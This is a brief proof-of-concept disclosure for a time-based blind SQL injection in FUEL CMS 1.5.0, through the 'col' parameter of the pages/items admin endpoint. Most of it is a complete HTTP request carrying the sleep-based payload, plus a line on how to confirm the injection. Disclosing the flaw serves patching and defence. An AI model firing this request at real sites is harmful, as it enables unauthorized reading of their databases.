FUEL CMS 1.5.0 allows SQL Injection via parameter 'col' in /fuel/index.php/fuel/pages/items

[Topsec-bunney]

GET /fuel/index.php/fuel/pages/items?search=Search&col=(select(0)from(select(sleep(0)))v)&fuel_inline=0&layout=&limit=50&offset=0&order=asc&published=yes&search_term=&view_type=list HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: http://127.0.0.1:80/fuel/index.php/fuel
Cookie: ci_session=fvqjtnd6p937te8cfirj5el5794sqc98; fuel_dccdd4a05cd593ba3584dfaa321e5caf=a%3A2%3A%7Bs%3A2%3A%22id%22%3Bs%3A1%3A%221%22%3Bs%3A8%3A%22language%22%3Bs%3A7%3A%22english%22%3B%7D; fuel_ui_dccdd4a05cd593ba3584dfaa321e5caf=%257B%2522leftnav_h3%2522%253A%25220%257C0%257C0%257C0%2522%257D; fuel_dccdd4a05cd593ba3584dfaa321e5caf=a%3A2%3A%7Bs%3A2%3A%22id%22%3Bs%3A1%3A%221%22%3Bs%3A8%3A%22language%22%3Bs%3A7%3A%22english%22%3B%7D; fuel_ui_dccdd4a05cd593ba3584dfaa321e5caf=%257B%2522leftnav_h3%2522%253A%25220%257C0%257C0%257C0%2522%257D; fuel_bar=%257B%2522show_editable_areas%2522%253A%25221%2522%257D
Host: 127.0.0.1
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*

payload: col=(select(0)from(select(sleep(0)))v)

You can see that when you modify the sleep value, the response has a significant delay.